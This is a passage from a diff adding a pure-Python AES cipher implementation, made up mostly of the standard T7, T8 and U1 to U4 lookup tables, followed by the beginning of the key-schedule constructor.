0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] + T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] + T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] + + # Transformations for decryption key expansion + U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] + U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] + U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] + U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] + + # Copy values into round key arrays + for i in xrange(0, KC): + 